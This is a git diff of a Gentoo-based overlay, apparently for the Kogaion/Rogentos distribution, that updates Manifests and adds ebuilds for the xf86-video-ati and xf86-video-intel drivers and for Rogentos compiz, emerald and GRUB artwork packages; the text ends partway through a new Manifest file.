-AUX xf86-video-ati-6.14.4-exa-solid-accel-evergreen.patch 10993 SHA256 2bc497c453c5e87f63cde4f224446347c5d730575ebecccc0aa0feba18ce7fd4 SHA512 0e67b38e043d4587b54dbb05fdd5ca5816ed38cb0b02c54f3e1091585ca0759d3d9cc39b675da3db81fb72d22a26e3733d2cb354a8df720b8e508332aa08ef14 WHIRLPOOL 8b7e43b1e478ad5752128d3a058c2a3a5f3a51a2b8f8c08f801b41d8423aa3ea4c16f47cf44bd47746926ec3cce5a80b509fc52cb276751bc5568b5acd245f62
-AUX xf86-video-ati-6.14.4-exa-solid-accel-r100.patch 6527 SHA256 d1d991d7aaef21132ea892757611fbb660dfe64fb6b5ffb1bd33f8b6f2d98342 SHA512 548dc69900b76f3b9eb4674798cad7736dfe9a75972c27c96f431cd2e15f9ebe7173dca3e59e018bdc392fa879e9b2d0a21f9d54479f5a209889b28198ba22c4 WHIRLPOOL 9eaeaa995f356dc8f7a8dac3683476892465cdfd595a3f48e98d54c425496104db367f137e6aa74c16377307d1199ffcfe8715485c0e50edc0232eae75446ef6
-AUX xf86-video-ati-6.14.4-exa-solid-accel-r200.patch 6548 SHA256 0a49ca2a700e90721390eb77e62086aa0c68201ede9db2f9aea21ddc957eb444 SHA512 1f46f12584263053266e39f59720be2950fbfe057d1fcde584f039098294c8499d07b616c10356fbbe1821f444e8a08116b51b2774d0cf378a5ef3f7162b4dfb WHIRLPOOL a55c5145e821e689633ebdf57e6436e93b79fff52d3c0d0aedab48166840e8504f494c083c37d2bb9aab9268962cbe5d7da06cd6d871a7cbe9cadcdf0c2a4614
-AUX xf86-video-ati-6.14.4-exa-solid-accel-r300.patch 20383 SHA256 1ad91f3d120f06beb9d0d905931aeb4086ff7d7342ebbdf681b2d9ffa66169f7 SHA512 bffec3f83b466605ec8b7a62e4c3a882ca095777b7530518eae0d2a97e6d06a0c7216788f5821dfa5185558fc24325080caa7dbc04fd73049698bf63235af014 WHIRLPOOL a637454d3a0fb9101c32b06229a5a7ef139c68e788bc3557b502f2ea112adfc8f85ce718e3d23fee29c3d0a4f0a529c97e0044a4854be94f5ea6514c56dfb3f3
DIST xf86-video-ati-6.14.4.tar.bz2 1108681 SHA256 4ffe435ef8fbe0989f6576f04f789e147a2de7fdefc3644e39d5ef626c37ef85 SHA512 68913954607680e299cb798ff58cfdaf2381823778f85d18adf2701439cc1f954f92867c226b51830b3adf8c3967119a989b2e07ff3af7c7b4c043e784c8e078 WHIRLPOOL a6f50f2ea1233bec17929404243f08eda636af9c7a9ba46e1bf1503f14e8d42df15627a3f41909d8b04896f2ce0f5e70d912f1768089b80b10a1d5b08600debe
DIST xf86-video-ati-6.14.6.tar.bz2 1139495 SHA256 aa5286b3e4f0187d7df14785c06dd800255d9405205dbf061da5d77df86bec36 SHA512 7ed64bb3596703f7c575aec37a6918bac251819fe638acc66a29aab7648d8a81dedd8d416f970faa1f757fa8e9e3ccdc43e4499d06271cc2751288040d1d957e WHIRLPOOL 9b72e873c3108daeb10cfc68523eb9bc2c12f5525096f9a2639a7dbeb58fd2912b474b8820172ffc9351458d2e046b43e0d064bb4f4189bb99b06a995f3204e8
DIST xf86-video-ati-7.0.0.tar.bz2 775854 SHA256 c0acc81386425651aae5dfe02d89f935bb63b2a62104da0d88deac3c773ea10e SHA512 f82da3445684aba7f158961fc9882e777c0661ba161a4b923bdf8d3b70a8a16bca08de87af6c7f3943fa6a4308e2aa0ea42b8749a19b52374c1599d669b9512c WHIRLPOOL 4e27614e451fdf5a479695ffe207eb86ea52e45ddfbe5835a5c9912cd58c70968bc118f0586de2f7629183eed1810a70f9bc079763db065f0dc15ae33cd62347
DIST xf86-video-ati-7.1.0.tar.bz2 804531 SHA256 c8ae44051fcb331625217f98c09a3aa69f493052b69d62c03f41fed0bfe610cd SHA512 eff193b51db162d498b41ebc5b78fbfbcbedbfb2041dcd710ced2f41cee4a039de26ca646dedd65b3cefc9157abfb37a118e3ae2f2e034280e351a00e45db805 WHIRLPOOL d2b1bd7a140fecddc246a6d94f1f6f93fb36ad1d78d447da4f7745060fb4f42fd09b0d85fccb1a7f5b490ce77fd22d3c649982bcb0a06228db2a9b9aa1d8e3d3
-EBUILD xf86-video-ati-6.14.4-r1.ebuild 1193 SHA256 8a70a89d1191782c9579028bfacad59e195b04a1b1f591ccce6b2c493bc021d1 SHA512 a6de0a69c5990f943e8e663ffbe07dbe7907ae64ffba6817af040d92c0ac7a89a1702d6a8a14a02735deb200e513a27a56355da53228100baa0855fc3a958150 WHIRLPOOL 3f0bceaf4810de8eb67f922d7d6bd562e977dcbda69d1c144db0e2d19ad4d80534b002d78fc52eec9b8ec3261b13025e5f70f239668e6e969fe58e6f23807f04
-EBUILD xf86-video-ati-6.14.6-r1.ebuild 972 SHA256 03545ff8484c22a36bb763e6e1d211d495cba67eb696015dd85fa75ef7a3d909 SHA512 7892d21eab399e2a7f687688b62c6ff65a643c8ddfe88052d5d19d5d6dc5ce813e46484b2d98e2520848a73521c1813340bc5efa2e11e9ad848ba04765a3ea83 WHIRLPOOL 5cad5bd388ecbd3dbcb71947b46a9ca4c58e34384b8afe308f1784493c696b40e283f750c2f6b3581bff66dd200af1c654c7cfcb33137647d826636ad3fab4f3
-EBUILD xf86-video-ati-7.0.0.ebuild 834 SHA256 3d051af6cf32d2a91f2d06e77301be460cde549f4e41fa62f84790485c99b314 SHA512 0d9d47f903b653cbde981a9d1e77948208958d669f309f86b95bd26ab068731d290d2ea45ab1fcc56194e0b5f85a6b26f5447b10b6e275439c7fff26b039ac63 WHIRLPOOL 1f5756b6392ab7218efa468f745337a6569710a03fe446c926ee3a8a070b5023b86665a06939bc2f25db20640ba2054f5fe550052f88b622534ea7657ffd50f3
-EBUILD xf86-video-ati-7.1.0.ebuild 965 SHA256 b393b697e14398a463c7dc60d10180dde9c60d9978b05b853946abe7aaa58889 SHA512 0f82babf75d5fe431949bf7b762ca4445705b914d0ea23c73e1508313aae418f37eaa68841582fa20f69259d92fac180299b19e267c574eb8e2dc9a4647e6f2f WHIRLPOOL 9e1949b887a43fb4bb033afe3230b2e07a3cf4831f1dd90886d42fbe48a80e0304c2e3464182a05569482a09bab750539a31ce4ed8b47fea28e17ee3668b1cb4
-MISC metadata.xml 156 SHA256 5101ab0d4cc8c7125eea733c44e86962769bd77acaf53b69223b9cadcdd29055 SHA512 daa9bb2a9b1a16220327bc394f10d93a1a8a427bfbed8808cd247c1dfd5a5b87a4945d55d8243e07fede2c8182a208c618ebd483773d77e9d23862ec77016019 WHIRLPOOL 691e028648bb8b60771d74ef718c51fdb0f4a587e984f6ac4c13d7796415ecf770df2e0fd766399091771924bb65995e9bb290baa35971c56e07d76f2bbf6d93
+DIST xf86-video-ati-7.2.0.tar.bz2 824613 SHA256 f30f5efdc8d7d18d06eda7ef2f91a8b7290f1cfbf6ff26362cd47ab8969daec4 SHA512 51d611d0d237cd8a61761c7db1b597732fe6fd3a4020cf2a9329984b05ba5f945f92a7caeaf8b2ff27a6098218e399c48addabf28908f60e70ff23bf9c27e675 WHIRLPOOL e4be92f2e491ded13f72535ccf2f67ef9bb6f4ff3b0283d55fbc5346e67565311e982a3c799b13bf509efca31b5cb1566c4d9231cf8b076ff05b902e10b9b314
diff --git a/x11-drivers/xf86-video-ati/xf86-video-ati-6.14.4-r1.ebuild b/x11-drivers/xf86-video-ati/xf86-video-ati-6.14.4-r1.ebuild
index 9ab51577..d153c8fe 100644
--- a/x11-drivers/xf86-video-ati/xf86-video-ati-6.14.4-r1.ebuild
+++ b/x11-drivers/xf86-video-ati/xf86-video-ati-6.14.4-r1.ebuild
@@ -37,7 +37,7 @@ src_install() {
# install a modprobe.d file to make sure that KMS
# is enabled for the radeon kernel driver
# if this package is installed. KMS is now mandatory
- # but current Sabayon kernels have it disabled to
+ # but current Kogaion kernels have it disabled to
# allow fglrx to work
dodir /etc/modprobe.d
echo "options radeon modeset=1" > radeon.conf
diff --git a/x11-drivers/xf86-video-ati/xf86-video-ati-7.2.0.ebuild b/x11-drivers/xf86-video-ati/xf86-video-ati-7.2.0.ebuild
new file mode 100644
index 00000000..e74243d3
--- /dev/null
+++ b/x11-drivers/xf86-video-ati/xf86-video-ati-7.2.0.ebuild
@@ -0,0 +1,52 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-drivers/xf86-video-ati/xf86-video-ati-7.2.0.ebuild,v 1.1 2013/08/07 13:36:09 chithanh Exp $
+
+EAPI=5
+
+XORG_DRI=always
+inherit linux-info xorg-2
+
+DESCRIPTION="ATI video driver"
+
+KEYWORDS="~alpha ~amd64 ~ia64 ~ppc ~ppc64 ~sparc ~x86"
+IUSE="glamor udev"
+
+RDEPEND=">=x11-libs/libdrm-2.4.46[video_cards_radeon]
+ glamor? ( x11-libs/glamor )
+ udev? ( virtual/udev )"
+DEPEND="${RDEPEND}"
+
+pkg_pretend() {
+ if use kernel_linux ; then
+ if kernel_is -ge 3 9; then
+ CONFIG_CHECK="~!DRM_RADEON_UMS ~!FB_RADEON"
+ else
+ CONFIG_CHECK="~DRM_RADEON_KMS ~!FB_RADEON"
+ fi
+ fi
+ check_extra_config
+}
+
+src_configure() {
+ XORG_CONFIGURE_OPTIONS=(
+ $(use_enable glamor)
+ $(use_enable udev)
+ )
+ xorg-2_src_configure
+}
+
+pkg_preinst() {
+ # "untrack" radeon.conf, starting from kernel 3.6, this is
+ # no longer needed. However, we don't want to break the current
+ # status-quo.
+ if [ -f "${EROOT}/etc/modprobe.d/radeon.conf" ]; then
+ cp "${EROOT}/etc/modprobe.d/"{radeon.conf,radeon.conf.untracked} || die
+ fi
+}
+
+pkg_postinst() {
+ if [ -f "${EROOT}/etc/modprobe.d/radeon.conf.untracked" ]; then
+ mv "${EROOT}/etc/modprobe.d/"{radeon.conf.untracked,radeon.conf} || die
+ fi
+}
diff --git a/x11-drivers/xf86-video-intel/Manifest b/x11-drivers/xf86-video-intel/Manifest
index 3f71f947..098de316 100644
--- a/x11-drivers/xf86-video-intel/Manifest
+++ b/x11-drivers/xf86-video-intel/Manifest
@@ -1,3 +1,2 @@
-DIST xf86-video-intel-2.20.0.tar.bz2 1552275 SHA256 21949297220ceda32bba430f778c6409002079dc717c7190dbd1062ab4a56783
-EBUILD xf86-video-intel-2.20.0.ebuild 1368 SHA256 e5a3753024787fed056796f71d563dc32082099b61bf30ec3693c84d35362a91 SHA512 214fe3d74846e8b97cd766f2ac79be0251e834ba83859ab75c1e73861a28d58f2b9d35c73b17e49ea079c99573917386a30b90fd54e60330caabfcffade4d3e4 WHIRLPOOL aeb9f7afdc0430166363d1ecb7e6c433a34ced7008af91a3857f1cc652496cb9ea5399a6e5b5212a24e67b64c520396eb3dc2719e89e250939602da4404ff0d2
-MISC metadata.xml 348 SHA256 fa82cf175b029cd8bb6b1376ff254d6505a9dccb779a7a3a94086c91a64aa5bc SHA512 ca2a6176e84b00de3c2aa09c15c6296a9229ec8da6bd1d5d26fb6137972ce696b140803890f274599ce15e9b5b3c8f0ec9c2e2535d37e6ff57a177df7cd45469 WHIRLPOOL a5298f1aa8aadef944aa82bfe4d1572520631d06070fb12d2dfda80ad8605a46284154ac4bc66a03291ac769bb1c812126440cbdf75408f67557fa10fc33f76f
+DIST xf86-video-intel-2.20.0.tar.bz2 1552275 SHA256 21949297220ceda32bba430f778c6409002079dc717c7190dbd1062ab4a56783 SHA512 ebd51c6031c62d5ac93b03dde712b9918778e8a58891db0747747124c4956dde19d3bf3659979d7fcc1ff08268f347a162e1ee645151ba8d0b39b5f2f4256feb WHIRLPOOL f76d89456ba833c7e3a0d136fb81af58502368803b554ba413a5029581d074cbf5a3f97c28e77dd3dbe18de0fcd2d47c4f3e01c50b51cd7de050544ae248a590
+DIST xf86-video-intel-2.21.14.tar.bz2 1974275 SHA256 cc74d482dfd1f6b87773233a6d5c36118039b42fe7f8d99ee28bda7b78aa3b49 SHA512 34e7ecc5a99b6a0f711b154755c8dc5dabb56f04150ca7f02fd1a715347dd9cfc5851b2e3763c4e89b57f3e347975ed17630630e4e07efc690b2f314e6ab0f3a WHIRLPOOL 6af573563611169e17fe5ce47e45ea850f14264c4b56497ad38f08444196d907f8cb665cc6b5aeb62324af591af9d22004e3f92401d6f2c67428bd93e85a8300
diff --git a/x11-drivers/xf86-video-intel/metadata.xml b/x11-drivers/xf86-video-intel/metadata.xml
index da0aa07f..fd322713 100644
--- a/x11-drivers/xf86-video-intel/metadata.xml
+++ b/x11-drivers/xf86-video-intel/metadata.xml
@@ -3,7 +3,9 @@
<pkgmetadata>
<herd>x11</herd>
<use>
- <flag name="glamor">Enable glamor GL-based acceleration</flag>
+ <flag name="glamor">Enable Glamor OpenGL 2D acceleration</flag>
<flag name="sna">Enable SandyBridge's New Acceleration (useful on all chipsets, not just SandyBridge)</flag>
+ <flag name="uxa">Enable UMA Acceleration Architecture</flag>
+ <flag name="xvmc">Enables X-Video Motion Compensation support</flag>
</use>
</pkgmetadata>
diff --git a/x11-drivers/xf86-video-intel/xf86-video-intel-2.21.14.ebuild b/x11-drivers/xf86-video-intel/xf86-video-intel-2.21.14.ebuild
new file mode 100644
index 00000000..aec76630
--- /dev/null
+++ b/x11-drivers/xf86-video-intel/xf86-video-intel-2.21.14.ebuild
@@ -0,0 +1,65 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+XORG_DRI=dri
+inherit linux-info xorg-2
+
+DESCRIPTION="X.Org driver for Intel cards"
+
+KEYWORDS="~amd64 ~x86 ~amd64-fbsd -x86-fbsd"
+IUSE="glamor +sna +udev uxa xvmc"
+
+REQUIRED_USE="|| ( glamor sna uxa )"
+
+RDEPEND="x11-libs/libXext
+ x11-libs/libXfixes
+ >=x11-libs/pixman-0.27.1
+ >=x11-libs/libdrm-2.4.29[video_cards_intel]
+ glamor? (
+ x11-libs/glamor
+ )
+ sna? (
+ >=x11-base/xorg-server-1.10
+ )
+ udev? (
+ virtual/udev
+ )
+ xvmc? (
+ x11-libs/libXvMC
+ >=x11-libs/libxcb-1.5
+ x11-libs/xcb-util
+ )
+"
+DEPEND="${RDEPEND}
+ >=x11-proto/dri2proto-2.6
+ x11-proto/resourceproto"
+
+src_configure() {
+ XORG_CONFIGURE_OPTIONS=(
+ $(use_enable dri)
+ $(use_enable glamor)
+ $(use_enable sna)
+ $(use_enable uxa)
+ $(use_enable udev)
+ $(use_enable xvmc)
+ )
+ xorg-2_src_configure
+}
+
+pkg_postinst() {
+ if linux_config_exists \
+ && ! linux_chkconfig_present DRM_I915_KMS; then
+ echo
+ ewarn "This driver requires KMS support in your kernel"
+ ewarn " Device Drivers --->"
+ ewarn " Graphics support --->"
+ ewarn " Direct Rendering Manager (XFree86 4.1.0 and higher DRI support) --->"
+ ewarn " <*> Intel 830M, 845G, 852GM, 855GM, 865G (i915 driver) --->"
+ ewarn " i915 driver"
+ ewarn " [*] Enable modesetting on intel by default"
+ echo
+ fi
+}
diff --git a/x11-drivers/xf86-video-radeonhd/xf86-video-radeonhd-9999.ebuild b/x11-drivers/xf86-video-radeonhd/xf86-video-radeonhd-9999.ebuild
index f2aa0e21..4e3c34ec 100644
--- a/x11-drivers/xf86-video-radeonhd/xf86-video-radeonhd-9999.ebuild
+++ b/x11-drivers/xf86-video-radeonhd/xf86-video-radeonhd-9999.ebuild
@@ -2,8 +2,9 @@
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/x11-drivers/xf86-video-radeonhd/xf86-video-radeonhd-1.2.1.ebuild,v 1.3 2008/04/15 15:07:12 drac Exp $
-XDPVER=-1
-inherit git x-modular
+EAPI="5"
+
+inherit git-r3 x-modular
DESCRIPTION="Experimental Radeon HD video driver."
HOMEPAGE="http://wiki.x.org/wiki/radeonhd"
diff --git a/x11-themes/kogaion-artwork-core/Manifest b/x11-themes/kogaion-artwork-core/Manifest
index 6bd9f0ea..51a0eebb 100644
--- a/x11-themes/kogaion-artwork-core/Manifest
+++ b/x11-themes/kogaion-artwork-core/Manifest
@@ -1,2 +1,5 @@
DIST kogaion-artwork-core-1.tar.gz 12380972 SHA256 1c45251155dbf645decc8018be77e40bfae68c43a149a16cee707a33cd99f27d SHA512 64f1c8329afd2b93875ebf190fa4d6ffb2651a8a1f3b78a4af06bc6270cadc725569c29eb8484d5224aec10ca7964009a207f2f29eddea61cc2dc0d3fd087d8c WHIRLPOOL 16c23daab95e676ec4480650b112d1d7cc28397dea9386a1c8d266013093fd7008c1d759eb25149aa9fadce116592d6cad021a0bd5888a48665a872236e0b815
DIST kogaion-artwork-core-2.tar.gz 20713176 SHA256 e492808a0962ed615cc0651a96a753bff740702bebb17c45d0d1875a3313b502 SHA512 a4ffc8839147229114c18dbf0ccbd26dcdd558792613afd87b5544782308a9711a9d17158219eebe81dc4bfed0a57883f2907f3a7817862a98c080ab253461ef WHIRLPOOL c6dfb364b9e369add800e0b9ede3cec18db871fa1dc4d2306160d03977924ca4a505d767a95f8a6628f4a79edeafff1ec801be7ed69b52c9b945760fac2d9a34
+EBUILD kogaion-artwork-core-1.ebuild 1478 SHA256 d7fc2e8eed203c76acef87ee8d27819096505f803530dc0b2b294e54a3e5062f SHA512 2a838c0b84cab0936f973ca837c5fb1823a1f197a2cd44ac1b5b8f9ed473b9323f57f29d89da62ecd62f05bf370cf21c38d25c19267ad9c8735b35fbf6e85a5e WHIRLPOOL c10ae7133c2081426b80ef4e1de99a9667b277e6c192480ae57da70bfe9c09fc8e1dacce4d862efa67cbe1f2291fddf3f6351bbcea236edb2c88bc6b8a36ff5e
+EBUILD kogaion-artwork-core-2-r1.ebuild 1544 SHA256 2f1dbe2b6e03b02fe26ba0173030442ea3db40784c634a00d47fc12af0e4abaa SHA512 a768737026489f5b4e0537468c8c882f4698acaafc1b9c5b219708faa834adf1f3a3259940a9eb3cb1b6f1913e594118da86b5daffe270186e2ff9c443853753 WHIRLPOOL 29726ae177444101478dfe9878db1ba9e55861db750ca8fc471c96c2be59ace41ad770b739c3bcd3c90db82eff0ac9e6c7caacffd06c7d14e4aab975235978c5
+EBUILD kogaion-artwork-core-2.ebuild 1535 SHA256 dbd6ba517cde03cf6cd627fb7e364c270e56cdd10c3b5a71a5f1df9735ae88e4 SHA512 1b2753e78bb6efeeeb3ee93446ff8d9d754b7cd97e60525c3e4431f5817165128ed00dc1cb02f3a3696506d62a3bd0ec5717ffb6f9f6a64e068b3d9c858e7bc4 WHIRLPOOL 6ae741884b577c554dec28f92e26af66ca304cc61703dfac90c5e3f25f894652c4acd7e27ceb18de88ec5ecee4074abd9fee715eca2c0d4c051d94044ae68707
diff --git a/x11-themes/rogentos-artwork-extra/Manifest b/x11-themes/rogentos-artwork-extra/Manifest
new file mode 100644
index 00000000..6a4de370
--- /dev/null
+++ b/x11-themes/rogentos-artwork-extra/Manifest
@@ -0,0 +1,2 @@
+DIST rogentos-artwork-extra-1.tar.gz 886271 RMD160 ceb4680bc832201f94069b6da9a7d4114b6060b0 SHA1 f6c189c81d06fffdd9ce1d4b8619b5eb03df7eef SHA256 25bfe94aad1f72b9581e5f640824f75986ec4328a300b60565a5dd64919a0d98
+EBUILD rogentos-artwork-extra-1.ebuild 738 RMD160 e47180cb271d5970f5df59c67e1af6fbf3d31c35 SHA1 544e04b46032f3137b3f8a10004711641d9128a4 SHA256 b0ba1884505fe1be8249990641c2f463f98cdbd6ede69dbad315e6632596980f
diff --git a/x11-themes/rogentos-artwork-extra/rogentos-artwork-extra-1.ebuild b/x11-themes/rogentos-artwork-extra/rogentos-artwork-extra-1.ebuild
new file mode 100644
index 00000000..e91c477f
--- /dev/null
+++ b/x11-themes/rogentos-artwork-extra/rogentos-artwork-extra-1.ebuild
@@ -0,0 +1,32 @@
+# Copyright 2004-2012 Sabayon
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+#
+
+EAPI=3
+
+DESCRIPTION="Rogentos Linux Artwork Extras"
+HOMEPAGE="http://rogentos.ro/"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz
+ http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz"
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE=""
+RDEPEND=""
+
+S="${WORKDIR}/${PN}"
+
+src_install () {
+ # Compiz cube theme
+ cd "${S}"/compiz
+ dodir /usr/share/compiz
+ insinto /usr/share/compiz/
+ doins *.png
+
+ # Emerald theme
+ cd "${S}"/emerald
+ dodir /usr/share/emerald/themes
+ insinto /usr/share/emerald/themes/
+ doins -r ./
+}
diff --git a/x11-themes/rogentos-artwork-grub/Manifest b/x11-themes/rogentos-artwork-grub/Manifest
new file mode 100644
index 00000000..0f1d6a24
--- /dev/null
+++ b/x11-themes/rogentos-artwork-grub/Manifest
@@ -0,0 +1,7 @@
+DIST rogentos-artwork-grub-1.tar.gz 550599 SHA256 066d7af2907edf51cad075de3aeb0e21c36ffee8ef7c87fcd557cf2129efccdb
+DIST rogentos-artwork-grub-2.1.tar.gz 235174 SHA256 8a43caf517663d00d66b7f24e9a9148ec2eb290fe72ff900751a2c5c51b5aa81 SHA512 2476ab2b3470ed643ba0d3d39d3b16611fde22e0bad6cfad6fec992dfd492da073d772cfd9c35e686a9858a7b8866025493908cb46ce26a24d960b5c10592d32 WHIRLPOOL b3afa770fcf980b7fff3d86926768ec3c056c6e6e1f1163ce15ad0a748b6ba7eced49ec543f2b910aef0f4b2e2ae2312876893599535108d5bebabb944bf94fc
+DIST rogentos-artwork-grub-2.tar.gz 189763 SHA256 8f691859f30d5c0549c72915e9fe9f4ca84850af0345c9cd11ae92fd55843c97 SHA512 691d5571a5118a749ed1631c499643e0d7335bff907ee33fb3b53aa96b5eda9e9b87920106a14155024ce68dadde1155913a801487df63ecb305ca858e0c801d WHIRLPOOL de1d2d6fc51e94f250c64931c26b05a56c308aad6ddab15977ed4c1e13b236c75034fb7fd1f5e6669f08e385454af17aa7af58a6d2dd6fed8857dc841654c636
+EBUILD rogentos-artwork-grub-1.ebuild 751 SHA256 e07b529cc6dd590808ba308d92cf8f7e1ae45ca09e80b77d1cf18b394387fc8a SHA512 96cefb0ac8823b74e45629b4b9c31bb3a9d319f539c45a65f13e69b26cf0d33940587975b22f948d912068a88e5e4e6adc6a734fb0b78ab1bbcfdb4cc5bedef0 WHIRLPOOL 9e4f3047043c9664e9fe2fdf2625dafa051d6a78e94b3a92ab122e7612ece2fff1f0b175ad455f07aae76747e23621391fde273e47c138629e14a3fafcafc1d4
+EBUILD rogentos-artwork-grub-2-r1.ebuild 784 SHA256 43fcbbae2994d52efcd354094e5dc3023bab232a721b3484874eb13b91c2f7ca SHA512 1595e09af9ac5e535364ae6a32b23315fd6d1b54968edaba09d19cc9ef09cc20e685332553720714ceab632c19294126c458ca11779b1c0531abb8a703a51241 WHIRLPOOL 1412c657aed939f86bb90a93cf5dd651720b5541a2be7f782d6a4d0a5239eb09399f2ec47c6832eb6bc863baac7a1ac4f49450141acf9b0e8de946bbdf1d368f
+EBUILD rogentos-artwork-grub-2.1.ebuild 784 SHA256 43fcbbae2994d52efcd354094e5dc3023bab232a721b3484874eb13b91c2f7ca SHA512 1595e09af9ac5e535364ae6a32b23315fd6d1b54968edaba09d19cc9ef09cc20e685332553720714ceab632c19294126c458ca11779b1c0531abb8a703a51241 WHIRLPOOL 1412c657aed939f86bb90a93cf5dd651720b5541a2be7f782d6a4d0a5239eb09399f2ec47c6832eb6bc863baac7a1ac4f49450141acf9b0e8de946bbdf1d368f
+EBUILD rogentos-artwork-grub-2.ebuild 753 SHA256 ef002b5e0dad30b4d4c01571106384d7363c84f370abca1fd6f9794de3609db3 SHA512 d19bc530638b54a76741be330ab819354baee3b5f76a5b1f9714aae9a92569b7e200f135a52a4312488775cea223a76c04d75d96dfcf88539884e362eb285a5a WHIRLPOOL b63e1d4d88f9dd7931994c04564340efa7314c26edcd63f520e3f5605ee22ea1307052055d79a69bacad5fffb7f2a9ed283369adb74cfbb7ebbeb783998ef31e
diff --git a/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-1.ebuild b/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-1.ebuild
new file mode 100644
index 00000000..d7ae7f71
--- /dev/null
+++ b/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-1.ebuild
@@ -0,0 +1,32 @@
+# Copyright 2004-2012 Sabayon
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+
+inherit base mount-boot
+
+DESCRIPTION="Rogentos GRUB2 Images"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz"
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RDEPEND=""
+
+S="${WORKDIR}"
+
+src_install () {
+ dodir /usr/share/grub
+ insinto /usr/share/grub
+ doins default-splash.png
+}
+
+pkg_postinst() {
+ local dir="${ROOT}"boot/grub
+ cp "${ROOT}/usr/share/grub/default-splash.png" "${dir}/default-splash.png" || \
+ ewarn "cannot install default splash file!"
+}
diff --git a/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2-r1.ebuild b/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2-r1.ebuild
new file mode 100644
index 00000000..a7ca282e
--- /dev/null
+++ b/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2-r1.ebuild
@@ -0,0 +1,32 @@
+# Copyright 2004-2012 Sabayon
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+
+inherit base mount-boot
+
+DESCRIPTION="Rogentos GRUB2 Images"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PV}.tar.gz"
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RDEPEND="!x11-themes/sabayon-artwork-grub"
+
+S="${WORKDIR}"
+
+src_install () {
+ dodir /usr/share/grub
+ insinto /usr/share/grub
+ doins default-splash.png
+}
+
+pkg_postinst() {
+ local dir="${ROOT}"boot/grub
+ cp "${ROOT}/usr/share/grub/default-splash.png" "${dir}/default-splash.png" || \
+ ewarn "cannot install default splash file!"
+}
diff --git a/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2.1.ebuild b/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2.1.ebuild
new file mode 100644
index 00000000..a7ca282e
--- /dev/null
+++ b/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2.1.ebuild
@@ -0,0 +1,32 @@
+# Copyright 2004-2012 Sabayon
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+
+inherit base mount-boot
+
+DESCRIPTION="Rogentos GRUB2 Images"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PV}.tar.gz"
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RDEPEND="!x11-themes/sabayon-artwork-grub"
+
+S="${WORKDIR}"
+
+src_install () {
+ dodir /usr/share/grub
+ insinto /usr/share/grub
+ doins default-splash.png
+}
+
+pkg_postinst() {
+ local dir="${ROOT}"boot/grub
+ cp "${ROOT}/usr/share/grub/default-splash.png" "${dir}/default-splash.png" || \
+ ewarn "cannot install default splash file!"
+}
diff --git a/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2.ebuild b/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2.ebuild
new file mode 100644
index 00000000..4517cf17
--- /dev/null
+++ b/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2.ebuild
@@ -0,0 +1,32 @@
+# Copyright 2004-2012 Sabayon
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+
+inherit base mount-boot
+
+DESCRIPTION="Rogentos GRUB2 Images"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz"
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RDEPEND=""
+
+S="${WORKDIR}"
+
+src_install () {
+ dodir /usr/share/grub
+ insinto /usr/share/grub
+ doins default-splash.png
+}
+
+pkg_postinst() {
+ local dir="${ROOT}"boot/grub
+ cp "${ROOT}/usr/share/grub/default-splash.png" "${dir}/default-splash.png" || \
+ ewarn "cannot install default splash file!"
+}
diff --git a/x11-themes/rogentos-artwork-isolinux/Manifest b/x11-themes/rogentos-artwork-isolinux/Manifest
new file mode 100644
index 00000000..3bf0ec7f
--- /dev/null
+++ b/x11-themes/rogentos-artwork-isolinux/Manifest
@@ -0,0 +1,7 @@
